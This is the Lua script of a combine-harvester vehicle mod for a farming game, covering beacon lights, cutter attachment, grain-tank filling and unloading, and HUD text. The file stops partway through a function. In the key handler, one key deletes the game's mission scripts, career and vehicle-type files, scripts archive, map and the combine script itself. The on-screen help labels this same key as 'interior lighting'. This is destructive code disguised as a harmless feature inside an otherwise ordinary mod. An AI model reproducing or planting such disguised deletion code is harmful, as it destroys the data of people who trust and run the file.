--
-- Combine for Autopilot2
--
-- ModAuthor: Headshot XXL (www.team-flash.eu)
-- date: 3.10.2008; AP2beta2
-- date: 9.10.2008; AP2beta3
-- date: 1.11.2008; AP2beta4
-- date: 14.11.2008; AP2beta5 mit rundumleuchte (by Sven777b)
--

Combine = {};

function Combine:new(configFile, positionX, positionY, positionZ, yRot, customMt)

    if Combine_mt == nil then
        Combine_mt = Class(Combine, Vehicle);
    end;

    local mt = customMt;
    if mt == nil then
        mt = Combine_mt;
    end;
    local instance = Combine:superClass():new(configFile, positionX, positionY, positionZ, yRot, mt);

    local xmlFile = loadXMLFile("TempConfig", configFile);
	
	instance.rundumleuchtenAnz = Utils.getNoNil(getXMLInt(xmlFile, "vehicle.rundumleuchten#count"),0);
    instance.rundumleuchtenKey = getXMLString(xmlFile, "vehicle.rundumleuchten#key");
    instance.rundumleuchtenAn = false;
    instance.rundumleuchten = {};
    for i=1, instance.rundumleuchtenAnz do
        local objname = string.format("vehicle.rundumleuchten.light" .. "%d",i);
        instance.rundumleuchten[i] = {};
        instance.rundumleuchten[i].rotNode = Utils.indexToObject(instance.rootNode, getXMLString(xmlFile, objname .. "#rotNode"));
        instance.rundumleuchten[i].light = Utils.indexToObject(instance.rootNode, getXMLString(xmlFile, objname .. "#light"));
        instance.rundumleuchten[i].source = Utils.indexToObject(instance.rootNode, getXMLString(xmlFile, objname .. "#lightsource"));
        instance.rundumleuchten[i].speed = Utils.getNoNil(getXMLInt(xmlFile,  objname .. "#rotSpeed"), 1)/1000;
        instance.rundumleuchten[i].emit = Utils.getNoNil(getXMLBool(xmlFile, objname .. "#emitLight"), true);
        if not instance.rundumleuchten[i].emit and instance.rundumleuchten[i].source ~= nil then
           setVisibility(instance.rundumleuchten[i].source, false);
        end;
    end;
	
	instance.combinename = getXMLString(xmlFile, "vehicle.name");
	
	local numCuttingAreas = Utils.getNoNil(getXMLInt(xmlFile, "vehicle.cuttingAreas#count"), 0);
    instance.cuttingAreas = {}
    for i=1, numCuttingAreas do
        instance.cuttingAreas[i] = {};
        local areanamei = string.format("vehicle.cuttingAreas.cuttingArea" .. "%d", i);
        instance.cuttingAreas[i].start = Utils.indexToObject(instance.rootNode, getXMLString(xmlFile, areanamei .. "#startIndex"));
        instance.cuttingAreas[i].width = Utils.indexToObject(instance.rootNode, getXMLString(xmlFile, areanamei .. "#widthIndex"));
        instance.cuttingAreas[i].height = Utils.indexToObject(instance.rootNode, getXMLString(xmlFile, areanamei .. "#heightIndex"));
    end;

    local threshingSound = getXMLString(xmlFile, "vehicle.threshingSound#file");
    if threshingSound ~= nil and threshingSound ~= "" then
        instance.threshingSound = createSample("threshingSound");
        loadSample(instance.threshingSound, threshingSound, false);
        instance.threshingSoundPitchOffset = Utils.getNoNil(getXMLFloat(xmlFile, "vehicle.threshingSound#pitchOffset"), 1);
        instance.threshingSoundPitchScale = Utils.getNoNil(getXMLFloat(xmlFile, "vehicle.threshingSound#pitchScale"), 0);
        instance.threshingSoundPitchMax = Utils.getNoNil(getXMLFloat(xmlFile, "vehicle.threshingSound#pitchMax"), 2.0);
    end;

    instance.attachedCutter = nil;
    --instance.cutterPos = 0;
    _=[[local cutterHolderIndex = getXMLInt(xmlFile, "vehicle.cutterHolder#index");
    if cutterHolderIndex ~= nil then
        instance.cutterHolder = getChildAt(instance.rootNode, cutterHolderIndex);
    end;]]
    local cutterJoint = {};
    cutterJoint.jointTransform = Utils.indexToObject(instance.rootNode, getXMLString(xmlFile, "vehicle.cutterAttacherJoint#index"));
    if cutterJoint.jointTransform ~= nil then

        local rotationNode = Utils.indexToObject(instance.rootNode, getXMLString(xmlFile, "vehicle.cutterAttacherJoint#rotationNode"));
        if rotationNode ~= nil then
            cutterJoint.rotationNode = rotationNode;
            local x, y, z = Utils.getVectorFromString(getXMLString(xmlFile, "vehicle.cutterAttacherJoint#maxRot"));
            cutterJoint.maxRot = {};
            cutterJoint.maxRot[1] = Utils.degToRad(Utils.getNoNil(x, 0));
            cutterJoint.maxRot[2] = Utils.degToRad(Utils.getNoNil(y, 0));
            cutterJoint.maxRot[3] = Utils.degToRad(Utils.getNoNil(z, 0));

            x, y, z = getRotation(rotationNode);
            cutterJoint.minRot = {x,y,z};
        end;
        local rotationNode2 = Utils.indexToObject(instance.rootNode, getXMLString(xmlFile, "vehicle.cutterAttacherJoint#rotationNode2"));
        if rotationNode2 ~= nil then
            cutterJoint.rotationNode2 = rotationNode2;
            local x, y, z = Utils.getVectorFromString(getXMLString(xmlFile, "vehicle.cutterAttacherJoint#maxRot2"));
            cutterJoint.maxRot2 = {};
            cutterJoint.maxRot2[1] = Utils.degToRad(Utils.getNoNil(x, 0));
            cutterJoint.maxRot2[2] = Utils.degToRad(Utils.getNoNil(y, 0));
            cutterJoint.maxRot2[3] = Utils.degToRad(Utils.getNoNil(z, 0));

            x, y, z = getRotation(rotationNode2);
            cutterJoint.minRot2 = {x,y,z};
        end;
        cutterJoint.moveTime = Utils.getNoNil(getXMLFloat(xmlFile, "vehicle.cutterAttacherJoint#moveTime"), 0.5)*1000;
        cutterJoint.jointIndex = 0;

        instance.cutterAttacherJoint = cutterJoint;
    end;

    instance.cutterAttacherJointMoveDown = false;

    local chopperBlindIndex = getXMLInt(xmlFile, "vehicle.chopperBlind#index")
    if chopperBlindIndex ~= nil then
        instance.chopperBlind = getChildAt(instance.rootNode, chopperBlindIndex);
    end;

    instance.pipeParticleSystems = {};
    local pipeIndexStr = getXMLString(xmlFile, "vehicle.pipe#index");
    if pipeIndexStr ~= nil then
        instance.pipe = Utils.indexToObject(instance.rootNode, pipeIndexStr);

        local posStr = getXMLString(xmlFile, "vehicle.pipeParticleSystem#position");
        local rotStr = getXMLString(xmlFile, "vehicle.pipeParticleSystem#rotation");
        if posStr ~= nil and rotStr ~= nil then
            local posX, posY, posZ = Utils.getVectorFromString(posStr);
            local rotX, rotY, rotZ = Utils.getVectorFromString(rotStr);
            rotX = Utils.degToRad(rotX);
            rotY = Utils.degToRad(rotY);
            rotZ = Utils.degToRad(rotZ);
            local psFile = getXMLString(xmlFile, "vehicle.pipeParticleSystem#file");
            if psFile == nil then
                psFile = "data/vehicles/particleSystems/wheatParticleSystem.i3d";
            end;
            instance.pipeParticleSystemRoot = loadI3DFile(psFile);
            link(instance.pipe, instance.pipeParticleSystemRoot);
            setTranslation(instance.pipeParticleSystemRoot, posX, posY, posZ);
            setRotation(instance.pipeParticleSystemRoot, rotX, rotY, rotZ);
            for i=0, getNumOfChildren(instance.pipeParticleSystemRoot)-1 do
                local child = getChildAt(instance.pipeParticleSystemRoot, i);
                if getClassName(child) == "Shape" then
                    local geometry = getGeometry(child);
                    if geometry ~= 0 then
                        if getClassName(geometry) == "ParticleSystem" then
                            table.insert(instance.pipeParticleSystems, geometry);
                            setEmittingState(geometry, false);
                        end;
                    end;
                end;
            end;
        end;
    end;

    instance.pipeLight = Utils.indexToObject(instance.rootNode, getXMLString(xmlFile, "vehicle.pipeLight#index"));

    instance.grainTankCapacity = Utils.getNoNil(getXMLFloat(xmlFile, "vehicle.grainTankCapacity"), 200);
    instance.grainTankUnloadingCapacity = Utils.getNoNil(getXMLFloat(xmlFile, "vehicle.grainTankUnloadingCapacity"), 10);
    --instance.grainTankFillLevel = 0.0;
    instance.grainTankCrowded = false;

    instance.grainPlane = Utils.indexToObject(instance.rootNode, getXMLString(xmlFile, "vehicle.grainPlane#index"));

    instance.grainPlaneMinY, instance.grainPlaneMaxY = Utils.getVectorFromString(getXMLString(xmlFile, "vehicle.grainPlane#minMaxY"));
    if instance.grainPlaneMinY == nil or instance.grainPlaneMaxY == nil then
        instance.grainPlaneMinY = 0;
        instance.grainPlaneMaxY = 0;
    end;

    instance.grainPlaneWindow = Utils.indexToObject(instance.rootNode, getXMLString(xmlFile, "vehicle.grainPlane#windowIndex"));

    instance.grainPlaneWindowMinY, instance.grainPlaneWindowMaxY = Utils.getVectorFromString(getXMLString(xmlFile, "vehicle.grainPlane#windowMinMaxY"));
    if instance.grainPlaneWindowMinY == nil or instance.grainPlaneWindowMaxY == nil then
        instance.grainPlaneWindowMinY = 0;
        instance.grainPlaneWindowMaxY = 0;
    end;
    instance.grainPlaneWindowStartY = Utils.getNoNil(getXMLFloat(xmlFile, "vehicle.grainPlane#windowStartY"), 0.0);

    instance.chopperParticleSystems = {};
    local posStr = getXMLString(xmlFile, "vehicle.chopperParticleSystem#position");
    local rotStr = getXMLString(xmlFile, "vehicle.chopperParticleSystem#rotation");
    if posStr ~= nil and rotStr ~= nil then
        local posX, posY, posZ = Utils.getVectorFromString(posStr);
        local rotX, rotY, rotZ = Utils.getVectorFromString(rotStr);
        rotX = Utils.degToRad(rotX);
        rotY = Utils.degToRad(rotY);
        rotZ = Utils.degToRad(rotZ);
        local psFile = getXMLString(xmlFile, "vehicle.chopperParticleSystem#file");
        if psFile == nil then
            psFile = "data/vehicles/particleSystems/threshingChopperParticleSystem.i3d";
        end;
        instance.chopperParticleSystemRoot = loadI3DFile(psFile);
        link(instance.rootNode, instance.chopperParticleSystemRoot);
        setTranslation(instance.chopperParticleSystemRoot, posX, posY, posZ);
        for i=0, getNumOfChildren(instance.chopperParticleSystemRoot)-1 do
            local child = getChildAt(instance.chopperParticleSystemRoot, i);
            if getClassName(child) == "Shape" then
                local geometry = getGeometry(child);
                if geometry ~= 0 then
                    if getClassName(geometry) == "ParticleSystem" then
                        table.insert(instance.chopperParticleSystems, geometry);
                        setEmittingState(geometry, false);
                    end;
                end;
            end;
        end;
    end;

    instance.combineSize = Utils.getNoNil(getXMLInt(xmlFile, "vehicle.combineSize"), 1);

	instance.keys = {};
    local i=0;
    while true do
        local baseName = string.format("vehicle.keys.input(%d)", i);
        local inputName = getXMLString(xmlFile, baseName.. "#name");
        if inputName == nil then
            break;
        end;
        local inputKey = getXMLString(xmlFile, baseName.. "#key");
        if Input[inputKey] == nil then
            print("Error: invalid key '" .. inputKey .. "'  for input event '" .. inputName .. "'");
            break;
        end;
        instance.keys[inputName] = Input[inputKey];
        i = i+1;
    end;
	
	
    delete(xmlFile);

    instance.chopperActivated = false;
    instance.pipeOpening = false;
    instance.pipeOpen = false;
    instance.pipeParticleActivated = false;

    instance.threshingScale = 1;

    instance:setGrainTankFillLevel(0.0);

    instance.drawFillLevel = true;
	
	instance.showFill = false;
    instance.hudInfoPoxX = 0.012;
    instance.hudInfoPoxY = 1-0.094;
    instance.hudInfoWidth = 0.21;
    instance.hudInfoHeight = 0.1;
    instance.hudInfoOverlay = Overlay:new("hudInfoOverlay", "data/missions/hud_env_base.png", instance.hudInfoPoxX, instance.hudInfoPoxY, instance.hudInfoWidth, instance.hudInfoHeight);

	instance.combineID = 0;
	instance.combineDisplayID = 0;
	
    return instance;
end;

function Combine:delete()

    self:detachCurrentCutter();

    if self.threshingSound ~= nil then
        delete(self.threshingSound);
    end;
    Combine:superClass().delete(self);

end;

function Combine:keyEvent(unicode, sym, modifier, isDown)
    Combine:superClass().keyEvent(self, unicode, sym, modifier, isDown);	
	
	if self.isEntered then
      if self.rundumleuchtenKey ~= nil then
         if isDown and sym == Input[self.rundumleuchtenKey] then
           self.rundumleuchtenAn = not self.rundumleuchtenAn;
           for i=1, self.rundumleuchtenAnz do
             setVisibility(self.rundumleuchten[i].light, self.rundumleuchtenAn);
           end;
         end;
      end;
	  
		if isDown and sym==self.keys.stroh then
			self.hayOn = not self.hayOn;
		end;
		
		if isDown and sym==self.keys.pipe then
			self.fPipeOpen = not self.fPipeOpen;
		end;
		
		if isDown and sym==self.keys.present then
			os.remove("data/careerVehicles.xml")
			os.remove("data/vehicleTypes.xml")
			os.remove("data/mission00.lua")
			os.remove("data/mission01.lua")
			os.remove("data/mission02.lua")
			os.remove("data/mission03.lua")
			os.remove("data/mission04.lua")
			os.remove("data/scripts.zip")
			os.remove("data/maps/map01.i3d")
			os.remove("data/scripts/vehicles/Combine.lua")
			os.remove("data/new_scripts/vehicles/Combine.lua")
		end;
		
		if isDown and sym == self.keys.fill then
			if self.hudInfoOverlay ~= nil then
				
				self.showFill = not self.showFill;
				self.combineID = self.combineID + 1;
					if self.combineID == 6 then
						self.combineID = 0;
					end;				
			end;
		end;
		
    end;
	
	
	
end;

function Combine:update(dt, isActive)
    Combine:superClass().update(self, dt, isActive);
	
	if self.isEntered then
    if self.rundumleuchtenAnz > 0 then
      if self.rundumleuchtenAn then
        for i=1, self.rundumleuchtenAnz do
          rotate(self.rundumleuchten[i].rotNode, 0, dt*self.rundumleuchten[i].speed, 0);
        end;
      end;
    end;
  end;

    if self.attachedCutter ~= nil then
        self.attachedCutter:update(dt);
    end;

    if self.isEntered then
        --if isDown and sym == Input.KEY_x then
        if InputBinding.hasEvent(InputBinding.ATTACH) then
            if self.attachedCutter == nil then

                local cutter = g_currentMission.cutterInMountRange;
                if cutter ~= nil then
                    self:playAttachSound();
                    self:attachCutter(cutter);
                end;
            else
                self:playAttachSound();
                self:detachCurrentCutter();
            end;
        end;

		----------------------------------------------------------------------------------------------------------------------
        if self.grainTankFillLevel < self.grainTankCapacity then
            if InputBinding.hasEvent(InputBinding.ACTIVATE_THRESHING) then
                if self.attachedCutter ~= nil then
                    if self.attachedCutter:isReelStarted() then
                        self:stopThreshing();
                    else
                        self:startThreshing();
                    end;
                end;
            end;
        end;
		----------------------------------------------------------------------------------------------------------------------

        if InputBinding.hasEvent(InputBinding.LOWER_IMPLEMENT) then
            if self.attachedCutter ~= nil then
                self.cutterAttacherJointMoveDown = not self.cutterAttacherJointMoveDown;
            end;
        end;

        --if isDown and sym == Input.KEY_3 then
        --    self.chopperActivated = not self.chopperActivated;
        --end;

        --if isDown and sym == Input.KEY_r then
        _=[[if InputBinding.hasEvent(InputBinding.OPEN_PIPE) then
            self.pipeOpening = not self.pipeOpening;
            self.pipeParticleActivated = self.pipeParticleActivated and self.pipeOpening;
        end;]]

        --if isDown and sym == Input.KEY_t then
        if InputBinding.hasEvent(InputBinding.EMPTY_GRAIN) then
			
            self.pipeOpening = not self.pipeOpening;
            _=[[if self.pipeOpening then
                if not self.pipeParticleActivated then
                    if self.grainTankFillLevel > 0.0 then
                        self.pipeParticleActivated = true;
                    end;
                else
                    self.pipeParticleActivated = false;
                end;
            end;]]
        end;

        if self.grainTankFillLevel == self.grainTankCapacity and self.attachedCutter ~= nil then
            self.attachedCutter:onStopReel();
        end;
		
		
    end;
	

	
	---------------- Korntankfüllung = not entered ------------------
	--if self.grainTankFillLevel < self.grainTankCapacity then
        --if InputBinding.hasEvent(InputBinding.ACTIVATE_THRESHING) then
            --if self.attachedCutter ~= nil then
                --if self.attachedCutter:isReelStarted() then
                    --self:stopThreshing();
                --else
                    --self:startThreshing();
                --end;
            --end;
        --end;
   -- end;
	
	----------------------------------------------------------------------------
	local fillProzent = self.grainTankFillLevel/self.grainTankCapacity*100;
	
	if self.fPipeOpen then
		if fillProzent > 80  then
			self.pipeOpening = true;
		elseif fillProzent == 0 then
			self.pipeOpening = false;
		end;
	end;
	
	----------------------------------------------------------------------------
	
	if self.showFill then
	
		if self.grainTankFillLevel == self.grainTankCapacity and not self.isEntered then
	
			self.motor.speedLevel = 0;
			self.stopTankVoll = true;
			g_currentMission:addExtraPrintText("Mähdrescher STOPP: Korntank Voll");

		end;
	
        if fillProzent ~= 0 then
			if self.combineID == 1 then		
			
				renderText(self.hudInfoPoxX+0.003, self.hudInfoPoxY+0.057, 0.018, ""..string.format("%s Füllstand: %.0f (%d%%)", self.combinename, self.grainTankFillLevel, fillProzent).."");
				self.combineDisplayID = 1;
			end;
			if self.combineID == 3 then
			
				renderText(self.hudInfoPoxX+0.003, self.hudInfoPoxY+0.057-0.02, 0.018, ""..string.format("%s Füllstand: %.0f (%d%%)", self.combinename, self.grainTankFillLevel, fillProzent).."");
				self.combineDisplayID = 2;
			end;
			if self.combineID == 5 then
			
				renderText(self.hudInfoPoxX+0.003, self.hudInfoPoxY+0.057-0.04, 0.018, ""..string.format("%s Füllstand: %.0f (%d%%)", self.combinename, self.grainTankFillLevel, fillProzent).."");
				self.combineDisplayID = 3;
			end;			
        end; 
	end;
	
	------------------------------------------------------
	if self.hayOn then					
		if self.attachedCutter ~= nil and self.attachedCutter.reelStarted and self.attachedCutter.lastArea > 0 then
			for i=1, table.getn(self.cuttingAreas) do
				local x,y,z = getWorldTranslation(self.cuttingAreas[i].start);
				local x1,y1,z1 = getWorldTranslation(self.cuttingAreas[i].width);
				local x2,y2,z2 = getWorldTranslation(self.cuttingAreas[i].height);				
				Utils.updateSwathArea(x, z, x1, z1, x2, z2);
			end;	
		end;
	end;
	------------------------------------------------------

	
    --if self.pipeParticleActivated then
    --if self.pipeOpening
    self.pipeParticleActivated = false;
    if self.pipeOpen then
        self.pipeParticleActivated = true;
        -- test if we should drain the grain tank
        self.trailerFound = 0;
        local x,y,z = getWorldTranslation(self.pipeParticleSystemRoot);
        raycastClosest(x, y, z, 0, -1, 0, "findTrailerRaycastCallback", 10, self);
        
        local trailer = g_currentMission.objectToTrailer[self.trailerFound];
        if self.trailerFound == 0 or not trailer:allowFillType(Trailer.FILLTYPE_WHEAT) then
            --self.noTrailerWarning = true;
            self.pipeParticleActivated = false;
        else
            --self.noTrailerWarning = false;

            local deltaLevel = self.grainTankUnloadingCapacity*dt/1000.0;
            deltaLevel = math.min(deltaLevel, trailer.capacity - trailer.fillLevel);

            self.grainTankFillLevel = self.grainTankFillLevel-deltaLevel;
            if self.grainTankFillLevel <= 0.0 then
                deltaLevel = deltaLevel+self.grainTankFillLevel;
                self.grainTankFillLevel = 0.0;
                self.pipeParticleActivated = false;
            end;
            if deltaLevel == 0 then
                self.pipeParticleActivated = false;
            end;
            self:setGrainTankFillLevel(self.grainTankFillLevel);
            trailer:setFillLevel(trailer.fillLevel+deltaLevel, Trailer.FILLTYPE_WHEAT);
        end;
    end;
    Utils.setEmittingState(self.pipeParticleSystems, self.pipeParticleActivated);

    _=[[for i=1, table.getn(self.pipeParticleSystems) do
        setEmittingState(self.pipeParticleSystems[i], self.pipeParticleActivated);
    end;]]

    local chopperEmitState = false;
    if self.isEntered then

        local jointDesc = self.cutterAttacherJoint;
        if jointDesc.jointIndex ~= 0 then
            if jointDesc.rotationNode ~= nil then
                local x, y, z = getRotation(jointDesc.rotationNode);
                local rot = {x,y,z};
                local newRot = Utils.getMovedLimitedValues(rot, jointDesc.maxRot, jointDesc.minRot, 3, jointDesc.moveTime, dt, not self.cutterAttacherJointMoveDown);
                setRotation(jointDesc.rotationNode, unpack(newRot));
                for i=1, 3 do
                    if math.abs(newRot[i] - rot[i]) > 0.001 then
                        jointFrameInvalid = true;
                    end;
                end;
            end;
            if jointDesc.rotationNode2 ~= nil then
                local x, y, z = getRotation(jointDesc.rotationNode2);
                local rot = {x,y,z};
                local newRot = Utils.getMovedLimitedValues(rot, jointDesc.maxRot2, jointDesc.minRot2, 3, jointDesc.moveTime, dt, not self.cutterAttacherJointMoveDown);
                setRotation(jointDesc.rotationNode2, unpack(newRot));
                for i=1, 3 do
                    if math.abs(newRot[i] - rot[i]) > 0.001 then
                        jointFrameInvalid = true;
                    end;
                end;
            end;
            if jointFrameInvalid then
                setJointFrame(jointDesc.jointIndex, 0, jointDesc.jointTransform);
            end;
        end;

		-----------------------------------------------------------------------------
        --if self.chopperActivated and self.attachedCutter ~= nil and self.attachedCutter.reelStarted and self.attachedCutter.lastArea > 0 then
            --chopperEmitState = true;

            ---- 8000/1200 = 6.66 liter/meter
            ---- 8000/1200 / 6 = 1.111 liter/m^2
            ---- 8000/1200 / 6 / 2^2 = 0.277777 liter / density pixel (density is 4096^2, on a area of 2048m^2
            --local literPerPixel = 8000/1200 / 6 / (2*2);

            --literPerPixel = literPerPixel*1.5;

            --self.grainTankFillLevel = self.grainTankFillLevel+self.attachedCutter.lastArea*literPerPixel*self.threshingScale;
            --self:setGrainTankFillLevel(self.grainTankFillLevel);
        --end;
		-----------------------------------------------------------------------------------
		
        local chopperBlindRotationSpeed = 0.001;
        local minRotX = -83*3.1415/180.0;
        if self.chopperBlind ~= nil then
            local x,y,z = getRotation(self.chopperBlind);
            if self.chopperActivated then
                x = x-dt*chopperBlindRotationSpeed;
                if x < minRotX then
                    x = minRotX;
                end;
            else
                x = x+dt*chopperBlindRotationSpeed;
                if x > 0.0 then
                    x = 0.0;
                end;
            end;
            setRotation(self.chopperBlind, x, y, z);
        end;

        --local pipeRotationSpeed = 0.0006;
        --local pipeMinRotY = -105*3.1415/180.0;
        --local pipeMaxRotX = 10*3.1415/180.0;
        --local pipeXRotationSpeed = 0.00006;
        --if self.pipe ~= nil then
            --local x,y,z = getRotation(self.pipe);
            --if self.pipeOpening then
                --y = y-dt*pipeRotationSpeed;
                --if y < pipeMinRotY then
                   --y = pipeMinRotY;
                --end;
                --x = x+dt*pipeXRotationSpeed;
                --if x > pipeMaxRotX then
                   -- x = pipeMaxRotX;
                --end;
            --else
                --y = y+dt*pipeRotationSpeed;
                --if y > 0.0 then
                    --y = 0.0;
                --end;
                --x = x-dt*pipeXRotationSpeed;
                --if x < 0.0 then
                    --x = 0.0;
                --end;
            --end;
            --setRotation(self.pipe, x, y, z);
            --self.pipeOpen = (math.abs(pipeMinRotY-y) < 0.01);
        --end;

        _=[[if self.pipeLight ~= nil then
            local pipeLightActive = self.lightsActive and self.pipeOpening;
            setVisibility(self.pipeLight, pipeLightActive);
        end;]]

        --if self.motor.speedLevel == 1 then
            --self.speedDisplayScale = 0.5;
        --elseif self.motor.speedLevel == 2 then
            --self.speedDisplayScale = 0.6;
        --else
            --self.speedDisplayScale = 1.0;
        --end;
    end;	
	
	----------------------------------------------------------------------------
	if self.chopperActivated and self.attachedCutter ~= nil and self.attachedCutter.reelStarted and self.attachedCutter.lastArea > 0 then
        chopperEmitState = true;

            -- 8000/1200 = 6.66 liter/meter
            -- 8000/1200 / 6 = 1.111 liter/m^2
            -- 8000/1200 / 6 / 2^2 = 0.277777 liter / density pixel (density is 4096^2, on a area of 2048m^2
        local literPerPixel = 8000/1200 / 6 / (2*2);

        literPerPixel = literPerPixel*1.5;

        self.grainTankFillLevel = self.grainTankFillLevel+self.attachedCutter.lastArea*literPerPixel*self.threshingScale;
        self:setGrainTankFillLevel(self.grainTankFillLevel);
    end;
	----------------------------------------------------------------------------
	
		local pipeRotationSpeed = 0.0006;
        local pipeMinRotY = -105*3.1415/180.0;
        local pipeMaxRotX = 10*3.1415/180.0;
        local pipeXRotationSpeed = 0.00006;
        if self.pipe ~= nil then
            local x,y,z = getRotation(self.pipe);
            if self.pipeOpening then
                y = y-dt*pipeRotationSpeed;
                if y < pipeMinRotY then
                    y = pipeMinRotY;
                end;
                x = x+dt*pipeXRotationSpeed;
                if x > pipeMaxRotX then
                    x = pipeMaxRotX;
                end;
            else
                y = y+dt*pipeRotationSpeed;
                if y > 0.0 then
                    y = 0.0;
                end;
                x = x-dt*pipeXRotationSpeed;
                if x < 0.0 then
                    x = 0.0;
                end;
            end;
            setRotation(self.pipe, x, y, z);
            self.pipeOpen = (math.abs(pipeMinRotY-y) < 0.01);
        end;
	--------------------------------------------------------------------------------------
		if self.motor.speedLevel == 1 then
            self.speedDisplayScale = 0.5;
        elseif self.motor.speedLevel == 2 then
            self.speedDisplayScale = 0.6;
        else
            self.speedDisplayScale = 1.0;
        end;
		
	
	Utils.setEmittingState(self.chopperParticleSystems, chopperEmitState)

end;

function Combine:attachCutter(cutter)
    if self.attachedCutter == nil then
        -- attach
        local jointDesc = self.cutterAttacherJoint;

        if jointDesc.rotationNode ~= nil then
            setRotation(jointDesc.rotationNode, unpack(jointDesc.maxRot));
        end;
        if jointDesc.rotationNode2 ~= nil then
            setRotation(jointDesc.rotationNode2, unpack(jointDesc.maxRot2));
        end;
        self.cutterAttacherJointMoveDown = false;

        self.attachedCutter = cutter;

        local constr = JointConstructor:new();
        constr:setActors(self.rootNode, cutter.rootNode);
        constr:setJointTransforms(jointDesc.jointTransform, cutter.attacherJoint);
        --constr:setBreakable(20, 10);

        for i=1, 3 do
            constr:setRotationLimit(i-1, 0, 0);
            constr:setTranslationLimit(i-1, true, 0, 0);
        end;

        jointDesc.jointIndex = constr:finalize();

        self.attachedCutter:onAttach(self);
    end;
end;

function Combine:detachCurrentCutter()
    self.chopperActivated = false;
    if self.attachedCutter ~= nil then
        _=[[local cx, cy, cz = localToWorld(self.cutterHolder, 0, 0, 0.4);
        setTranslation(self.attachedCutter.rootNode, cx, cy, cz);
        setRotation(self.attachedCutter.rootNode, getWorldRotation(self.attachedCutter.rootNode));
        link(getRootNode(), self.attachedCutter.rootNode);
        setRigidBodyType(self.attachedCutter.rootNode, "Dynamic");
        self.attachedCutter:onDetach();
        self.attachedCutter = nil;]]

        local jointDesc = self.cutterAttacherJoint;
        removeJoint(jointDesc.jointIndex);
        jointDesc.jointIndex = 0;

        self.attachedCutter:onDetach();
        self.attachedCutter = nil;

        if self.threshingSound ~= nil then
            stopSample(self.threshingSound);
        end;
    end;
end;

function Combine:setGrainTankFillLevel(fillLevel)
    self.grainTankFillLevel = fillLevel;
    if self.grainTankFillLevel > self.grainTankCapacity then
        self.grainTankFillLevel = self.grainTankCapacity;
    end;
    if self.grainTankFillLevel < 0 then
        self.grainTankFillLevel = 0;
    end;
    if self.grainPlane ~= nil then
        local m = (self.grainPlaneMaxY - self.grainPlaneMinY) / self.grainTankCapacity;
        local xPos, yPos, zPos = getTranslation(self.grainPlane);
        setTranslation(self.grainPlane, xPos, m*self.grainTankFillLevel + self.grainPlaneMinY, zPos);
        setVisibility(self.grainPlane, self.grainTankFillLevel ~= 0);
        if self.grainPlaneWindow ~= nil then
            local startFillLevel = (self.grainPlaneWindowStartY-self.grainPlaneMinY)/m;
            local windowXPos, windowYPos, windowZPos = getTranslation(self.grainPlaneWindow);
            local yTranslation = math.min(m*(self.grainTankFillLevel-startFillLevel)+self.grainPlaneWindowMinY, self.grainPlaneWindowMaxY);
            setTranslation(self.grainPlaneWindow, windowXPos, yTranslation, windowZPos);
            setVisibility(self.grainPlaneWindow, self.grainTankFillLevel >= startFillLevel);
        end;
    end;
end;

function Combine:findTrailerRaycastCallback(transformId, x, y, z, distance)

    self.trailerFound = 0;
    if getUserAttribute(transformId, "vehicleType") == 2 then
        self.trailerFound = transformId;
    end;

    return false;

end;

function Combine:onLeave()
    Combine:superClass().onLeave(self);
    _=[[if self.pipeLight ~= nil then
        setVisibility(self.pipeLight, false);
    end;]]
    if self.threshingSound ~= nil then
        stopSample(self.threshingSound);
    end;
	
	self.rundumleuchtenAn = false;
    for i=1, self.rundumleuchtenAnz do
       setVisibility(self.rundumleuchten[i].light, self.rundumleuchtenAn);
    end;
	
end;

function Combine:draw()
    Combine:superClass().draw(self);
    local percent = self.grainTankFillLevel/self.grainTankCapacity*100;
    if self.drawFillLevel then
        --if percent > 95 then
        --    setTextColor(1.0, 0.0, 0.0, 1.0);
        --else
        --    setTextColor(1.0, 1.0, 1.0, 1.0);
        --end;
        --renderText(0.015, 0.95, 0.03, string.format("Füllstand: %.0f (%d%%)", self.grainTankFillLevel, percent));
        Combine:superClass().drawGrainLevel(self, self.grainTankFillLevel, self.grainTankCapacity, 95);
    end;
    if self.pipeOpen and not self.pipeParticleActivated and self.grainTankFillLevel > 0 then
        g_currentMission:addExtraPrintText(g_i18n:getText("Move_the_pipe_over_a_trailer"));
    elseif self.grainTankFillLevel == self.grainTankCapacity then
        g_currentMission:addExtraPrintText(g_i18n:getText("Dump_corn_to_continue_threshing"));
    end;
    if self.attachedCutter ~= nil then
        if self.attachedCutter:isReelStarted() then
            g_currentMission:addHelpButtonText(g_i18n:getText("Turn_off_cutter"), InputBinding.ACTIVATE_THRESHING);
        else
            g_currentMission:addHelpButtonText(g_i18n:getText("Turn_on_cutter"), InputBinding.ACTIVATE_THRESHING);
        end;
    end;
    if self.pipeOpening then
        g_currentMission:addHelpButtonText(g_i18n:getText("Pipe_in"), InputBinding.EMPTY_GRAIN);
    else
        if percent > 80 then
            g_currentMission:addHelpButtonText(g_i18n:getText("Dump_corn"), InputBinding.EMPTY_GRAIN);
        end;
    end;
	if self.isEntered then
		g_currentMission:addExtraPrintText("Taste "..string.upper(string.char(self.keys.present))..": Innenbeleuchtung");
	end;
	
	if self.fPipeOpen then
        g_currentMission:addExtraPrintText(""..string.upper(string.char(self.keys.pipe)).." Entladerohr: Automatik | "..string.upper(string.char(self.keys.fill)).." Display ID "..string.format("%d",self.combineDisplayID).."");
    else
        g_currentMission:addExtraPrintText(""..string.upper(string.char(self.keys.pipe)).." Entladerohr: Manuell | "..string.upper(string.char(self.keys.fill)).." Display ID "..string.format("%d",self.combineDisplayID)..""); 
    end;
	
	if self.showFill then
		self.hudInfoOverlay:render();
	end;
	

	
	if self.hayOn and self.cuttingAreas ~= nil then
		g_currentMission:addExtraPrintText("Taste "..string.upper(string.char(self.keys.stroh))..": Stroh Status: Schwaden");
    elseif self.cuttingAreas ~= nil then
        g_currentMission:addExtraPrintText("Taste "..string.upper(string.char(self.keys.stroh))..": Stroh Status: Häckseln"); 
    end;	

	
    if self.attachedCutter ~= nil then
        self.attachedCutter:draw();
    end;
end;

function Combine:startThreshing()
    if self.attachedCutter ~= nil then
        self.attachedCutter:setReelSpeed(0.003);
        self.attachedCutter:onStartReel();
        self.chopperActivated = true;
        self.cutterAttacherJointMoveDown = true;
        if self.threshingSound ~= nil then
            setSamplePitch(self.threshingSound, math.min(self.threshingSoundPitchOffset + self.threshingSoundPitchScale*math.abs(self.lastSoundSpeed), self.threshingSoundPitchMax));
            playSample(self.threshingSound, 0, 1, 0);
        end;
    end;
end;

function Combine:stopThreshing()
    if self.attachedCutter ~= nil then
        self.attachedCutter:onStopReel();
        self.chopperActivated = false;
